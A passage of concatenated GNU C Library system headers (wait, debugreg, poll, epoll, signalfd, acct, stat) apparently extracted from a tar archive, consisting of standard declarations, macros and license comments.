(int *__stat_loc); #ifdef __USE_MISC /* Special values for the PID argument to `waitpid' and `wait4'. */ # define WAIT_ANY (-1) /* Any process. */ # define WAIT_MYPGRP 0 /* Any process in my process group. */ #endif /* Wait for a child matching PID to die. If PID is greater than 0, match any process whose process ID is PID. If PID is (pid_t) -1, match any process. If PID is (pid_t) 0, match any process with the same process group as the current process. If PID is less than -1, match any process whose process group is the absolute value of PID. If the WNOHANG bit is set in OPTIONS, and that child is not already dead, return (pid_t) 0. If successful, return PID and store the dead child's status in STAT_LOC. Return (pid_t) -1 for errors. If the WUNTRACED bit is set in OPTIONS, return status for stopped children; otherwise don't. This function is a cancellation point and therefore not marked with __THROW. */ extern __pid_t waitpid (__pid_t __pid, int *__stat_loc, int __options); #if defined __USE_XOPEN_EXTENDED || defined __USE_XOPEN2K8 # ifndef __id_t_defined typedef __id_t id_t; # define __id_t_defined # endif # include <bits/types/siginfo_t.h> /* Wait for a childing matching IDTYPE and ID to change the status and place appropriate information in *INFOP. If IDTYPE is P_PID, match any process whose process ID is ID. If IDTYPE is P_PGID, match any process whose process group is ID. If IDTYPE is P_ALL, match any process. If the WNOHANG bit is set in OPTIONS, and that child is not already dead, clear *INFOP and return 0. If successful, store exit code and status in *INFOP. This function is a cancellation point and therefore not marked with __THROW. */ extern int waitid (idtype_t __idtype, __id_t __id, siginfo_t *__infop, int __options); #endif #if defined __USE_MISC \ || (defined __USE_XOPEN_EXTENDED && !defined __USE_XOPEN2K) /* This being here makes the prototypes valid whether or not we have already included <sys/resource.h> to define `struct rusage'. */ struct rusage; /* Wait for a child to exit. When one does, put its status in *STAT_LOC and return its process ID. For errors return (pid_t) -1. If USAGE is not nil, store information about the child's resource usage there. If the WUNTRACED bit is set in OPTIONS, return status for stopped children; otherwise don't. */ extern __pid_t wait3 (int *__stat_loc, int __options, struct rusage * __usage) __THROWNL; #endif #ifdef __USE_MISC /* PID is like waitpid. Other args are like wait3. */ extern __pid_t wait4 (__pid_t __pid, int *__stat_loc, int __options, struct rusage *__usage) __THROWNL; #endif /* Use misc. */ __END_DECLS #endif /* sys/wait.h */ sys/debugreg.h 0000644 00000006767 15246445046 0007351 0 ustar 00 /* Copyright (C) 2001-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_DEBUGREG_H #define _SYS_DEBUGREG_H 1 /* Indicate the register numbers for a number of the specific debug registers. Registers 0-3 contain the addresses we wish to trap on */ #define DR_FIRSTADDR 0 /* u_debugreg[DR_FIRSTADDR] */ #define DR_LASTADDR 3 /* u_debugreg[DR_LASTADDR] */ #define DR_STATUS 6 /* u_debugreg[DR_STATUS] */ #define DR_CONTROL 7 /* u_debugreg[DR_CONTROL] */ /* Define a few things for the status register. We can use this to determine which debugging register was responsible for the trap. The other bits are either reserved or not of interest to us. */ #define DR_TRAP0 (0x1) /* db0 */ #define DR_TRAP1 (0x2) /* db1 */ #define DR_TRAP2 (0x4) /* db2 */ #define DR_TRAP3 (0x8) /* db3 */ #define DR_STEP (0x4000) /* single-step */ #define DR_SWITCH (0x8000) /* task switch */ /* Now define a bunch of things for manipulating the control register. The top two bytes of the control register consist of 4 fields of 4 bits - each field corresponds to one of the four debug registers, and indicates what types of access we trap on, and how large the data field is that we are looking at */ #define DR_CONTROL_SHIFT 16 /* Skip this many bits in ctl register */ #define DR_CONTROL_SIZE 4 /* 4 control bits per register */ #define DR_RW_EXECUTE (0x0) /* Settings for the access types to trap on */ #define DR_RW_WRITE (0x1) #define DR_RW_READ (0x3) #define DR_LEN_1 (0x0) /* Settings for data length to trap on */ #define DR_LEN_2 (0x4) #define DR_LEN_4 (0xC) #ifdef __x86_64__ # define DR_LEN_8 (0x8) #endif /* The low byte to the control register determine which registers are enabled. There are 4 fields of two bits. One bit is "local", meaning that the processor will reset the bit after a task switch and the other is global meaning that we have to explicitly reset the bit. With linux, you can use either one, since we explicitly zero the register when we enter kernel mode. */ #define DR_LOCAL_ENABLE_SHIFT 0 /* Extra shift to the local enable bit */ #define DR_GLOBAL_ENABLE_SHIFT 1 /* Extra shift to the global enable bit */ #define DR_ENABLE_SIZE 2 /* 2 enable bits per register */ #define DR_LOCAL_ENABLE_MASK (0x55) /* Set local bits for all 4 regs */ #define DR_GLOBAL_ENABLE_MASK (0xAA) /* Set global bits for all 4 regs */ /* The second byte to the control register has a few special things. */ #ifdef __x86_64__ # define DR_CONTROL_RESERVED (0xFFFFFFFF0000FC00ULL) /* Reserved */ #else # define DR_CONTROL_RESERVED (0x00FC00U) /* Reserved */ #endif #define DR_LOCAL_SLOWDOWN (0x100) /* Local slow the pipeline */ #define DR_GLOBAL_SLOWDOWN (0x200) /* Global slow the pipeline */ #endif /* sys/debugreg.h */ sys/unistd.h 0000644 00000000024 15246445046 0007047 0 ustar 00 #include <unistd.h> sys/poll.h 0000644 00000004765 15246445046 0006527 0 ustar 00 /* Compatibility definitions for System V `poll' interface. Copyright (C) 1994-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_POLL_H #define _SYS_POLL_H 1 #include <features.h> /* Get the platform dependent bits of `poll'. */ #include <bits/poll.h> #ifdef __USE_GNU # include <bits/types/__sigset_t.h> # include <bits/types/struct_timespec.h> #endif /* Type used for the number of file descriptors. */ typedef unsigned long int nfds_t; /* Data structure describing a polling request. */ struct pollfd { int fd; /* File descriptor to poll. */ short int events; /* Types of events poller cares about. */ short int revents; /* Types of events that actually occurred. */ }; __BEGIN_DECLS /* Poll the file descriptors described by the NFDS structures starting at FDS. If TIMEOUT is nonzero and not -1, allow TIMEOUT milliseconds for an event to occur; if TIMEOUT is -1, block until an event occurs. Returns the number of file descriptors with events, zero if timed out, or -1 for errors. This function is a cancellation point and therefore not marked with __THROW. */ extern int poll (struct pollfd *__fds, nfds_t __nfds, int __timeout); #ifdef __USE_GNU /* Like poll, but before waiting the threads signal mask is replaced with that specified in the fourth parameter. For better usability, the timeout value is specified using a TIMESPEC object. This function is a cancellation point and therefore not marked with __THROW. */ extern int ppoll (struct pollfd *__fds, nfds_t __nfds, const struct timespec *__timeout, const __sigset_t *__ss); #endif __END_DECLS /* Define some inlines helping to catch common problems. */ #if __USE_FORTIFY_LEVEL > 0 && defined __fortify_function # include <bits/poll2.h> #endif #endif /* sys/poll.h */ sys/fcntl.h 0000644 00000000023 15246445046 0006646 0 ustar 00 #include <fcntl.h> sys/epoll.h 0000644 00000010472 15246445046 0006664 0 ustar 00 /* Copyright (C) 2002-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_EPOLL_H #define _SYS_EPOLL_H 1 #include <stdint.h> #include <sys/types.h> #include <bits/types/sigset_t.h> /* Get the platform-dependent flags. */ #include <bits/epoll.h> #ifndef __EPOLL_PACKED # define __EPOLL_PACKED #endif enum EPOLL_EVENTS { EPOLLIN = 0x001, #define EPOLLIN EPOLLIN EPOLLPRI = 0x002, #define EPOLLPRI EPOLLPRI EPOLLOUT = 0x004, #define EPOLLOUT EPOLLOUT EPOLLRDNORM = 0x040, #define EPOLLRDNORM EPOLLRDNORM EPOLLRDBAND = 0x080, #define EPOLLRDBAND EPOLLRDBAND EPOLLWRNORM = 0x100, #define EPOLLWRNORM EPOLLWRNORM EPOLLWRBAND = 0x200, #define EPOLLWRBAND EPOLLWRBAND EPOLLMSG = 0x400, #define EPOLLMSG EPOLLMSG EPOLLERR = 0x008, #define EPOLLERR EPOLLERR EPOLLHUP = 0x010, #define EPOLLHUP EPOLLHUP EPOLLRDHUP = 0x2000, #define EPOLLRDHUP EPOLLRDHUP EPOLLEXCLUSIVE = 1u << 28, #define EPOLLEXCLUSIVE EPOLLEXCLUSIVE EPOLLWAKEUP = 1u << 29, #define EPOLLWAKEUP EPOLLWAKEUP EPOLLONESHOT = 1u << 30, #define EPOLLONESHOT EPOLLONESHOT EPOLLET = 1u << 31 #define EPOLLET EPOLLET }; /* Valid opcodes ( "op" parameter ) to issue to epoll_ctl(). */ #define EPOLL_CTL_ADD 1 /* Add a file descriptor to the interface. */ #define EPOLL_CTL_DEL 2 /* Remove a file descriptor from the interface. */ #define EPOLL_CTL_MOD 3 /* Change file descriptor epoll_event structure. */ typedef union epoll_data { void *ptr; int fd; uint32_t u32; uint64_t u64; } epoll_data_t; struct epoll_event { uint32_t events; /* Epoll events */ epoll_data_t data; /* User data variable */ } __EPOLL_PACKED; __BEGIN_DECLS /* Creates an epoll instance. Returns an fd for the new instance. The "size" parameter is a hint specifying the number of file descriptors to be associated with the new instance. The fd returned by epoll_create() should be closed with close(). */ extern int epoll_create (int __size) __THROW; /* Same as epoll_create but with an FLAGS parameter. The unused SIZE parameter has been dropped. */ extern int epoll_create1 (int __flags) __THROW; /* Manipulate an epoll instance "epfd". Returns 0 in case of success, -1 in case of error ( the "errno" variable will contain the specific error code ) The "op" parameter is one of the EPOLL_CTL_* constants defined above. The "fd" parameter is the target of the operation. The "event" parameter describes which events the caller is interested in and any associated user data. */ extern int epoll_ctl (int __epfd, int __op, int __fd, struct epoll_event *__event) __THROW; /* Wait for events on an epoll instance "epfd". Returns the number of triggered events returned in "events" buffer. Or -1 in case of error with the "errno" variable set to the specific error code. The "events" parameter is a buffer that will contain triggered events. The "maxevents" is the maximum number of events to be returned ( usually size of "events" ). The "timeout" parameter specifies the maximum wait time in milliseconds (-1 == infinite). This function is a cancellation point and therefore not marked with __THROW. */ extern int epoll_wait (int __epfd, struct epoll_event *__events, int __maxevents, int __timeout); /* Same as epoll_wait, but the thread's signal mask is temporarily and atomically replaced with the one provided as parameter. This function is a cancellation point and therefore not marked with __THROW. */ extern int epoll_pwait (int __epfd, struct epoll_event *__events, int __maxevents, int __timeout, const __sigset_t *__ss); __END_DECLS #endif /* sys/epoll.h */ sys/signalfd.h 0000644 00000003077 15246445046 0007343 0 ustar 00 /* Copyright (C) 2007-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_SIGNALFD_H #define _SYS_SIGNALFD_H 1 #include <stdint.h> #include <bits/types/sigset_t.h> /* Get the platform-dependent flags. */ #include <bits/signalfd.h> struct signalfd_siginfo { uint32_t ssi_signo; int32_t ssi_errno; int32_t ssi_code; uint32_t ssi_pid; uint32_t ssi_uid; int32_t ssi_fd; uint32_t ssi_tid; uint32_t ssi_band; uint32_t ssi_overrun; uint32_t ssi_trapno; int32_t ssi_status; int32_t ssi_int; uint64_t ssi_ptr; uint64_t ssi_utime; uint64_t ssi_stime; uint64_t ssi_addr; uint8_t __pad[48]; }; __BEGIN_DECLS /* Request notification for delivery of signals in MASK to be performed using descriptor FD.*/ extern int signalfd (int __fd, const sigset_t *__mask, int __flags) __THROW __nonnull ((2)); __END_DECLS #endif /* sys/signalfd.h */ sys/acct.h 0000644 00000006340 15246445046 0006462 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _SYS_ACCT_H #define _SYS_ACCT_H 1 #include <sys/types.h> #include <stdint.h> #include <endian.h> #include <bits/types/time_t.h> __BEGIN_DECLS #define ACCT_COMM 16 /* comp_t is a 16-bit "floating" point number with a 3-bit base 8 exponent and a 13-bit fraction. See linux/kernel/acct.c for the specific encoding system used. */ typedef uint16_t comp_t; struct acct { char ac_flag; /* Flags. */ uint16_t ac_uid; /* Real user ID. */ uint16_t ac_gid; /* Real group ID. */ uint16_t ac_tty; /* Controlling terminal. */ uint32_t ac_btime; /* Beginning time. */ comp_t ac_utime; /* User time. */ comp_t ac_stime; /* System time. */ comp_t ac_etime; /* Elapsed time. */ comp_t ac_mem; /* Average memory usage. */ comp_t ac_io; /* Chars transferred. */ comp_t ac_rw; /* Blocks read or written. */ comp_t ac_minflt; /* Minor pagefaults. */ comp_t ac_majflt; /* Major pagefaults. */ comp_t ac_swaps; /* Number of swaps. */ uint32_t ac_exitcode; /* Process exitcode. */ char ac_comm[ACCT_COMM+1]; /* Command name. */ char ac_pad[10]; /* Padding bytes. */ }; struct acct_v3 { char ac_flag; /* Flags */ char ac_version; /* Always set to ACCT_VERSION */ uint16_t ac_tty; /* Control Terminal */ uint32_t ac_exitcode; /* Exitcode */ uint32_t ac_uid; /* Real User ID */ uint32_t ac_gid; /* Real Group ID */ uint32_t ac_pid; /* Process ID */ uint32_t ac_ppid; /* Parent Process ID */ uint32_t ac_btime; /* Process Creation Time */ float ac_etime; /* Elapsed Time */ comp_t ac_utime; /* User Time */ comp_t ac_stime; /* System Time */ comp_t ac_mem; /* Average Memory Usage */ comp_t ac_io; /* Chars Transferred */ comp_t ac_rw; /* Blocks Read or Written */ comp_t ac_minflt; /* Minor Pagefaults */ comp_t ac_majflt; /* Major Pagefaults */ comp_t ac_swaps; /* Number of Swaps */ char ac_comm[ACCT_COMM]; /* Command Name */ }; enum { AFORK = 0x01, /* Has executed fork, but no exec. */ ASU = 0x02, /* Used super-user privileges. */ ACORE = 0x08, /* Dumped core. */ AXSIG = 0x10 /* Killed by a signal. */ }; #if __BYTE_ORDER == __BIG_ENDIAN # define ACCT_BYTEORDER 0x80 /* Accounting file is big endian. */ #else # define ACCT_BYTEORDER 0x00 /* Accounting file is little endian. */ #endif #define AHZ 100 /* Switch process accounting on and off. */ extern int acct (const char *__filename) __THROW; __END_DECLS #endif /* sys/acct.h */ sys/stat.h 0000644 00000037554 15246445046 0006536 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * POSIX Standard: 5.6 File Characteristics <sys/stat.h> */ #ifndef _SYS_STAT_H #define _SYS_STAT_H 1 #include <features.h> #include <bits/types.h> /* For __mode_t and __dev_t. */ #ifdef __USE_XOPEN2K8 # include <bits/types/struct_timespec.h> #endif #if defined __USE_XOPEN || defined __USE_XOPEN2K /* The Single Unix specification says that some more types are available here. */ # include <bits/types/time_t.h> # ifndef __dev_t_defined typedef __dev_t dev_t; # define __dev_t_defined # endif # ifndef __gid_t_defined typedef __gid_t gid_t; # define __gid_t_defined # endif # ifndef __ino_t_defined # ifndef __USE_FILE_OFFSET64 typedef __ino_t ino_t; # else typedef __ino64_t ino_t; # endif # define __ino_t_defined # endif # ifndef __mode_t_defined typedef __mode_t mode_t; # define __mode_t_defined # endif # ifndef __nlink_t_defined typedef __nlink_t nlink_t; # define __nlink_t_defined # endif # ifndef __off_t_defined # ifndef __USE_FILE_OFFSET64 typedef __off_t off_t; # else typedef __off64_t off_t; # endif # define __off_t_defined # endif # ifndef __uid_t_defined typedef __uid_t uid_t; # define __uid_t_defined # endif #endif /* X/Open */ #ifdef __USE_UNIX98 # ifndef __blkcnt_t_defined # ifndef __USE_FILE_OFFSET64 typedef __blkcnt_t blkcnt_t; # else typedef __blkcnt64_t blkcnt_t; # endif # define __blkcnt_t_defined # endif # ifndef __blksize_t_defined typedef __blksize_t blksize_t; # define __blksize_t_defined # endif #endif /* Unix98 */ __BEGIN_DECLS #include <bits/stat.h> #if defined __USE_MISC || defined __USE_XOPEN # define S_IFMT __S_IFMT # define S_IFDIR __S_IFDIR # define S_IFCHR __S_IFCHR # define S_IFBLK __S_IFBLK # define S_IFREG __S_IFREG # ifdef __S_IFIFO # define S_IFIFO __S_IFIFO # endif # ifdef __S_IFLNK # define S_IFLNK __S_IFLNK # endif # if (defined __USE_MISC || defined __USE_XOPEN_EXTENDED) \ && defined __S_IFSOCK # define S_IFSOCK __S_IFSOCK # endif #endif /* Test macros for file types. */ #define __S_ISTYPE(mode, mask) (((mode) & __S_IFMT) == (mask)) #define S_ISDIR(mode) __S_ISTYPE((mode), __S_IFDIR) #define S_ISCHR(mode) __S_ISTYPE((mode), __S_IFCHR) #define S_ISBLK(mode) __S_ISTYPE((mode), __S_IFBLK) #define S_ISREG(mode) __S_ISTYPE((mode), __S_IFREG) #ifdef __S_IFIFO # define S_ISFIFO(mode) __S_ISTYPE((mode), __S_IFIFO) #endif #ifdef __S_IFLNK # define S_ISLNK(mode) __S_ISTYPE((mode), __S_IFLNK) #endif #if defined __USE_MISC && !defined __S_IFLNK # define S_ISLNK(mode) 0 #endif #if (defined __USE_XOPEN_EXTENDED || defined __USE_XOPEN2K) \ && defined __S_IFSOCK # define S_ISSOCK(mode) __S_ISTYPE((mode), __S_IFSOCK) #elif defined __USE_XOPEN2K # define S_ISSOCK(mode) 0 #endif /* These are from POSIX.1b. If the objects are not implemented using separate distinct file types, the macros always will evaluate to zero. Unlike the other S_* macros the following three take a pointer to a `struct stat' object as the argument. */ #ifdef __USE_POSIX199309 # define S_TYPEISMQ(buf) __S_TYPEISMQ(buf) # define S_TYPEISSEM(buf) __S_TYPEISSEM(buf) # define S_TYPEISSHM(buf) __S_TYPEISSHM(buf) #endif /* Protection bits. */ #define S_ISUID __S_ISUID /* Set user ID on execution. */ #define S_ISGID __S_ISGID /* Set group ID on execution. */ #if defined __USE_MISC || defined __USE_XOPEN /* Save swapped text after use (sticky bit). This is pretty well obsolete. */ # define S_ISVTX __S_ISVTX #endif #define S_IRUSR __S_IREAD /* Read by owner. */ #define S_IWUSR __S_IWRITE /* Write by owner. */ #define S_IXUSR __S_IEXEC /* Execute by owner. */ /* Read, write, and execute by owner. */ #define S_IRWXU (__S_IREAD|__S_IWRITE|__S_IEXEC) #ifdef __USE_MISC # define S_IREAD S_IRUSR # define S_IWRITE S_IWUSR # define S_IEXEC S_IXUSR #endif #define S_IRGRP (S_IRUSR >> 3) /* Read by group. */ #define S_IWGRP (S_IWUSR >> 3) /* Write by group. */ #define S_IXGRP (S_IXUSR >> 3) /* Execute by group. */ /* Read, write, and execute by group. */ #define S_IRWXG (S_IRWXU >> 3) #define S_IROTH (S_IRGRP >> 3) /* Read by others. */ #define S_IWOTH (S_IWGRP >> 3) /* Write by others. */ #define S_IXOTH (S_IXGRP >> 3) /* Execute by others. */ /* Read, write, and execute by others. */ #define S_IRWXO (S_IRWXG >> 3) #ifdef __USE_MISC /* Macros for common mode bit masks. */ # define ACCESSPERMS (S_IRWXU|S_IRWXG|S_IRWXO) /* 0777 */ # define ALLPERMS (S_ISUID|S_ISGID|S_ISVTX|S_IRWXU|S_IRWXG|S_IRWXO)/* 07777 */ # define DEFFILEMODE (S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH)/* 0666*/ # define S_BLKSIZE 512 /* Block size for `st_blocks'. */ #endif #ifndef __USE_FILE_OFFSET64 /* Get file attributes for FILE and put them in BUF. */ extern int stat (const char *__restrict __file, struct stat *__restrict __buf) __THROW __nonnull ((1, 2)); /* Get file attributes for the file, device, pipe, or socket that file descriptor FD is open on and put them in BUF. */ extern int fstat (int __fd, struct stat *__buf) __THROW __nonnull ((2)); #else # ifdef __REDIRECT_NTH extern int __REDIRECT_NTH (stat, (const char *__restrict __file, struct stat *__restrict __buf), stat64) __nonnull ((1, 2)); extern int __REDIRECT_NTH (fstat, (int __fd, struct stat *__buf), fstat64) __nonnull ((2)); # else # define stat stat64 # define fstat fstat64 # endif #endif #ifdef __USE_LARGEFILE64 extern int stat64 (const char *__restrict __file, struct stat64 *__restrict __buf) __THROW __nonnull ((1, 2)); extern int fstat64 (int __fd, struct stat64 *__buf) __THROW __nonnull ((2)); #endif #ifdef __USE_ATFILE /* Similar to stat, get the attributes for FILE and put them in BUF. Relative path names are interpreted relative to FD unless FD is AT_FDCWD. */ # ifndef __USE_FILE_OFFSET64 extern int fstatat (int __fd, const char *__restrict __file, struct stat *__restrict __buf, int __flag) __THROW __nonnull ((2, 3)); # else # ifdef __REDIRECT_NTH extern int __REDIRECT_NTH (fstatat, (int __fd, const char *__restrict __file, struct stat *__restrict __buf, int __flag), fstatat64) __nonnull ((2, 3)); # else # define fstatat fstatat64 # endif # endif # ifdef __USE_LARGEFILE64 extern int fstatat64 (int __fd, const char *__restrict __file, struct stat64 *__restrict __buf, int __flag) __THROW __nonnull ((2, 3)); # endif #endif #if defined __USE_XOPEN_EXTENDED || defined __USE_XOPEN2K # ifndef __USE_FILE_OFFSET64 /* Get file attributes about FILE and put them in BUF. If FILE is a symbolic link, do not follow it. */ extern int lstat (const char *__restrict __file, struct stat *__restrict __buf) __THROW __nonnull ((1, 2)); # else # ifdef __REDIRECT_NTH extern int __REDIRECT_NTH (lstat, (const char *__restrict __file, struct stat *__restrict __buf), lstat64) __nonnull ((1, 2)); # else # define lstat lstat64 # endif # endif # ifdef __USE_LARGEFILE64 extern int lstat64 (const char *__restrict __file, struct stat64 *__restrict __buf) __THROW __nonnull ((1, 2)); # endif #endif /* Set file access permissions for FILE to MODE. If FILE is a symbolic link, this affects its target instead. */ extern int chmod (const char *__file, __mode_t __mode) __THROW __nonnull ((1)); #ifdef __USE_MISC /* Set file access permissions for FILE to MODE. If FILE is a symbolic link, this affects the link itself rather than its target. */ extern int lchmod (const char *__file, __mode_t __mode) __THROW __nonnull ((1)); #endif /* Set file access permissions of the file FD is open on to MODE. */ #if defined __USE_POSIX199309 || defined __USE_XOPEN_EXTENDED extern int fchmod (int __fd, __mode_t __mode) __THROW; #endif #ifdef __USE_ATFILE /* Set file access permissions of FILE relative to the directory FD is open on. */ extern int fchmodat (int __fd, const char *__file, __mode_t __mode, int __flag) __THROW __nonnull ((2)) __wur; #endif /* Use ATFILE. */ /* Set the file creation mask of the current process to MASK, and return the old creation mask. */ extern __mode_t umask (__mode_t __mask) __THROW; #ifdef __USE_GNU /* Get the current `umask' value without changing it. This function is only available under the GNU Hurd. */ extern __mode_t getumask (void) __THROW; #endif /* Create a new directory named PATH, with permission bits MODE. */ extern int mkdir (const char *__path, __mode_t __mode) __THROW __nonnull ((1)); #ifdef __USE_ATFILE /* Like mkdir, create a new directory with permission bits MODE. But interpret relative PATH names relative to the directory associated with FD. */ extern int mkdirat (int __fd, const char *__path, __mode_t __mode) __THROW __nonnull ((2)); #endif /* Create a device file named PATH, with permission and special bits MODE and device number DEV (which can be constructed from major and minor device numbers with the `makedev' macro above). */ #if defined __USE_MISC || defined __USE_XOPEN_EXTENDED extern int mknod (const char *__path, __mode_t __mode, __dev_t __dev) __THROW __nonnull ((1)); # ifdef __USE_ATFILE /* Like mknod, create a new device file with permission bits MODE and device number DEV. But interpret relative PATH names relative to the directory associated with FD. */ extern int mknodat (int __fd, const char *__path, __mode_t __mode, __dev_t __dev) __THROW __nonnull ((2)); # endif #endif /* Create a new FIFO named PATH, with permission bits MODE. */ extern int mkfifo (const char *__path, __mode_t __mode) __THROW __nonnull ((1)); #ifdef __USE_ATFILE /* Like mkfifo, create a new FIFO with permission bits MODE. But interpret relative PATH names relative to the directory associated with FD. */ extern int mkfifoat (int __fd, const char *__path, __mode_t __mode) __THROW __nonnull ((2)); #endif #ifdef __USE_ATFILE /* Set file access and modification times relative to directory file descriptor. */ extern int utimensat (int __fd, const char *__path, const struct timespec __times[2], int __flags) __THROW __nonnull ((2)); #endif #ifdef __USE_XOPEN2K8 /* Set file access and modification times of the file associated with FD. */ extern int futimens (int __fd, const struct timespec __times[2]) __THROW; #endif /* To allow the `struct stat' structure and the file type `mode_t' bits to vary without changing shared library major version number, the `stat' family of functions and `mknod' are in fact inline wrappers around calls to `xstat', `fxstat', `lxstat', and `xmknod', which all take a leading version-number argument designating the data structure and bits used. <bits/stat.h> defines _STAT_VER with the version number corresponding to `struct stat' as defined in that file; and _MKNOD_VER with the version number corresponding to the S_IF* macros defined therein. It is arranged that when not inlined these function are always statically linked; that way a dynamically-linked executable always encodes the version number corresponding to the data structures it uses, so the `x' functions in the shared library can adapt without needing to recompile all callers. */ #ifndef _STAT_VER # define _STAT_VER 0 #endif #ifndef _MKNOD_VER # define _MKNOD_VER 0 #endif /* Wrappers for stat and mknod system calls. */ #ifndef __USE_FILE_OFFSET64 extern int __fxstat (int __ver, int __fildes, struct stat *__stat_buf) __THROW __nonnull ((3)); extern int __xstat (int __ver, const char *__filename, struct stat *__stat_buf) __THROW __nonnull ((2, 3)); extern int __lxstat (int __ver, const char *__filename, struct stat *__stat_buf) __THROW __nonnull ((2, 3)); extern int __fxstatat (int __ver, int __fildes, const char *__filename, struct stat *__stat_buf, int __flag) __THROW __nonnull ((3, 4)); #else # ifdef __REDIRECT_NTH extern int __REDIRECT_NTH (__fxstat, (int __ver, int __fildes, struct stat *__stat_buf), __fxstat64) __nonnull ((3)); extern int __REDIRECT_NTH (__xstat, (int __ver, const char *__filename, struct stat *__stat_buf), __xstat64) __nonnull ((2, 3)); extern int __REDIRECT_NTH (__lxstat, (int __ver, const char *__filename, struct stat *__stat_buf), __lxstat64) __nonnull ((2, 3)); extern int __REDIRECT_NTH (__fxstatat, (int __ver, int __fildes, const char *__filename, struct stat *__stat_buf, int __flag), __fxstatat64) __nonnull ((3, 4)); # else # define __fxstat __fxstat64 # define __xstat __xstat64 # define __lxstat __lxstat64 # endif #endif #ifdef __USE_LARGEFILE64 extern int __fxstat64 (int __ver, int __fildes, struct stat64 *__stat_buf) __THROW __nonnull ((3)); extern int __xstat64 (int __ver, const char *__filename, struct stat64 *__stat_buf) __THROW __nonnull ((2, 3)); extern int __lxstat64 (int __ver, const char *__filename, struct stat64 *__stat_buf) __THROW __nonnull ((2, 3)); extern int __fxstatat64 (int __ver, int __fildes, const char *__filename, struct stat64 *__stat_buf, int __flag) __THROW __nonnull ((3, 4)); #endif extern int __xmknod (int __ver, const char *__path, __mode_t __mode, __dev_t *__dev) __THROW __nonnull ((2, 4)); extern int __xmknodat (int __ver, int __fd, const char *__path, __mode_t __mode, __dev_t *__dev) __THROW __nonnull ((3, 5)); #ifdef __USE_GNU # include <bits/statx.h> #endif #ifdef __USE_EXTERN_INLINES /* Inlined versions of the real stat and mknod functions. */ __extern_inline int __NTH (stat (const char *__path, struct stat *__statbuf)) { return __xstat (_STAT_VER, __path, __statbuf); } # if defined __USE_MISC || defined __USE_XOPEN_EXTENDED __extern_inline int __NTH (lstat (const char *__path, struct stat *__statbuf)) { return __lxstat (_STAT_VER, __path, __statbuf); } # endif __extern_inline int __NTH (fstat (int __fd, struct stat *__statbuf)) { return __fxstat (_STAT_VER, __fd, __statbuf); } # ifdef __USE_ATFILE __extern_inline int __NTH (fstatat (int __fd, const char *__filename, struct stat *__statbuf, int __flag)) { return __fxstatat (_STAT_VER, __fd, __filename, __statbuf, __flag); } # endif # ifdef __USE_MISC __extern_inline int __NTH (mknod (const char *__path, __mode_t __mode, __dev_t __dev)) { return __xmknod (_MKNOD_VER, __path, __mode, &__dev); } # endif # ifdef __USE_ATFILE __extern_inline int __NTH (mknodat (int __fd, const char *__path, __mode_t __mode, __dev_t __dev)) { return __xmknodat (_MKNOD_VER, __fd, __path, __mode, &__dev); } # endif # if defined __USE_LARGEFILE64 \ && (! defined __USE_FILE_OFFSET64 \ || (defined __REDIRECT_NTH && defined __OPTIMIZE__)) __extern_inline int __NTH (stat64 (const char *__path, struct stat64 *__statbuf)) { return __xstat64 (_STAT_VER, __path, __statbuf); } # if defined __USE_MISC || defined __USE_XOPEN_EXTENDED __extern_inline int __NTH (lstat64 (const char *__path, struct stat64 *__statbuf)) { return __lxstat64 (_STAT_VER, __path, __statbuf); } # endif __extern_inline int __NTH 